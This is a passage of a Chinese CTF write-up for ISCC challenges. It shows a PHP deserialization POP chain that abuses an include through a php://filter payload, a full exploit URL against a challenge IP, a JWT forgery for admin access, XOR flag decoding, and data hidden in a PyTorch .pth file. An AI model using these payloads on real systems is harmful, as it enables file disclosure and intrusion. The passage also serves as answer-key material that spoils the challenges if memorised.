normal = "abcdefghijklmnopqrstuvwxyz0123456789"
data = [x & 0xFFFFFFFF for x in data]
decrypted = [data[i] ^ keys[i] for i in range(len(data))]
result = ""
for num in decrypted:
bytes_val = num.to_bytes(4, 'little')
result += bytes_val.decode('latin-1')
final = ""
for c in normal:
final += result[scramble.index(c)]
print(final)
WEB
谁动了我的奶酪
观察图片,后面这只老鼠叫Tom,所有是Tom动了蛋糕,交Tom就过了
然后就拿到源码Y2hlZXNlT25l.php:
据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";
class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}
public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}
class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}
class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}
if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}
?>
分析后发现这是一个php反序列化的漏洞。在class Jerry这个类下面有个include的文件包含漏洞,我们主要是要利用这个漏洞来读文件
然后在这里当unserialize( c l u e ) − > s h o u t = = = u n s e r i a l i z e ( clue)->shout === unserialize( clue)−>shout===unserialize(clue)->squeak 时就会给我们提示!
构造exp:
<?php
class Jerry{
public $a;
public $b;
}
$jerry = new Jerry();
echo serialize($jerry);
echo "\n\n";
echo urlencode($jerry);
echo "\n";
payload:
O:5:"Jerry":2:{s:1:"a";N;s:1:"b";N;}
拿到提示文件 flag_of_cheese.php
然后根据我们就是要读提示文件的内容,构造exp
<?php
class Jerry{
public $secretHidingSpot="php://filter/convert.base64-encode/resource=flag_of_cheese.php";
public $squeak;
public $shout;
}
class Cheese{
public $flavors;
public $color;
}
$jerry = new Jerry();
$cheese = new Cheese();
$cheese->color = serialize($jerry);
$a = serialize($cheese);
echo serialize($a);
echo "\n\n";
echo urlencode($a);
echo "\n";
http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A2%3A%7Bs%3A7%3A%22flavors%22%3BN%3Bs%3A5%3A%22color%22%3Bs%3A139%3A%22O%3A5%3A%22Jerry%22%3A3%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3Bs%3A6%3A%22squeak%22%3BN%3Bs%3A5%3A%22shout%22%3BN%3B%7D%22%3B%7D
然后把显示的base64解码,拿到一半的flag,ISCC{ch33se_th!ef_!5_the
然后还获得一个提示,就是与22异或
然后看到这个网页的文件名是Y2hlZXNlT25l.php,把这个文件名也base64解码
解码后是cheeseOne,猜测可能有cheeseTwo,将cheeseTwo 用base64编码得:Y2hlZXNlVHdv
访问Y2hlZXNlVHdv.php
右键查看源码发现提示:
拿去base64解码
然后转包发现header头中有jwt
因为要管理员才能登陆,我们重新构造jwt来攻击
然后重新发包,拿到提示文件/c3933845e2b7d466a9776a84288b8d86.php
访问这个文件,拿到密文:I&x%Its7xy’IbsIaV’'ek
根据前面的与22异或,我们才能拿到真正的flag
s = "I&x%Its~7xy'Ib~sIaV''ek"
for i in s:
print(chr(ord(i)^22),end='')
_0n3_beh!no1_the_w@11s}
最终的flag:ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}
MISC
神经网络迷踪
我们把文件下下来后发现文件是**.pth**结尾的
pth介绍
.pth 文件是 PyTorch 框架中用于保存和加载模型权重或整个模型的文件格式。它的扩展名 .pth
是 “PyTorch” 的缩写,通常用于存储以下内容:1. **模型权重(State Dict)**2. **整个模型(包括结构和参数)**3. 其他 PyTorch 相关数据,也可以存储任意 Python 相关的对象。
它可以用python来打开查看。先安装相关库函数、
pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple
然后就可以用python来打开查看数据这些的了
import torch
data = torch.load("./attachment-38.pth")
print(data.keys())
运行后如下:
['fc1.weight', 'fc1.bias', # 全连接层1的权重和偏置
'secret_key.weight', # 名称可疑的层,没准有线索
'fc_secret.weight', # 另一个名称可疑的全连接层
'output.weight', 'output.bias'] # 输出层的权重和偏置
尝试输出secret_key.weight,和fc_secret.weight的数据,
import torch
data = torch.load("./attachment-38.pth")
print(data)
secret_key = data['secret_key.weight'].int().flatten().tolist()
ascii_str = ''.join([chr(x) if 32 <= x <= 127 else '.' for x in secret_key])
print("secret_key ASCII:", ascii_str)
secret_key = data['fc_secret.weight'].int().flatten().tolist()
ascii_str = ''.join([chr(x) if 32 <= x <= 127 else '.' for x in secret_key])
print("fc_key ASCII:", ascii_str)
运行结果为:
随后观察网络层, output.bias,天然适合塞隐写的数据
因为output.bias都是小数,根据提示 255 ,发现这些小数都乘以255后都是可打印字符
import torch
def main():
data = torch.load('attachment-38.pth')['output.bias']
print("Processed values:", [int(torch.round(v*255))&0xFF for v in data])
print("Decoded string:", bytes([int(torch.round(v*255))&0xFF for v in data]).decode())
if __name__ == "__main__":
main()
完整的
EXP:
import torch
from typing import List, Dict, Optional
def extract_hidden_data(
file_path: str,
tensor_name: str = 'output.bias',
encodings: List[str] = ['utf-8', 'latin-1', 'ascii']
) -> Optional[Dict[str, str]]:
try:
model_data = torch.load(file_path, map_location='cpu')
# 检查目标张量是否存在
if tensor_name not in model_data:
print(f"警告: 文件中没有找到 '{tensor_name}' 张量")
available_tensors = [k for k in model_data.keys() if isinstance(model_data[k], torch.Tensor)]
print(f"可用张量: {available_tensors}")
return None
target_tensor = model_data[tensor_name]
# 验证张量类型和形状
if not isinstance(target_tensor, torch.Tensor):
print(f"错误: '{tensor_name}' 不是张量")
return None
print(f"\n正在分析张量: {tensor_name} (形状: {target_tensor.shape})")
# 转换张量为字节数据
scaled_values = (target_tensor * 255).round().clamp(0, 255).byte()
byte_data = scaled_values.numpy().tobytes()
# 尝试多种编码方式解码
results = {}
for encoding in encodings:
try:
decoded_str = byte_data.decode(encoding)
results[encoding] = decoded_str
print(f"使用 {encoding} 解码成功: {decoded_str!r}")
except UnicodeDecodeError:
results[encoding] = None
return {
'tensor_name': tensor_name,
'tensor_shape': tuple(target_tensor.shape),
'raw_values': target_tensor.tolist(),
'scaled_values': scaled_values.tolist(),
'byte_data': byte_data,
'decoding_results': results,
'hex_dump': byte_data.hex(' ', 1)
}
except Exception as e:
print(f"处理文件时出错: {str(e)}")
return None
if __name__ == '__main__':
FILE_PATH = 'attachment-38.pth'
# 1. 默认检查output.bias
result = extract_hidden_data(FILE_PATH)
# 2. 检查所有包含bias的张量
if result is None:
print("\n尝试检查其他bias参数...")
model_data = torch.load(FILE_PATH, map_location='cpu')
bias_tensors = [k for k in model_data.keys() if 'bias' in k.lower()]
for tensor_name in bias_tensors:
print(f"\n检查张量: {tensor_name}")
extract_hidden_data(FILE_PATH, tensor_name)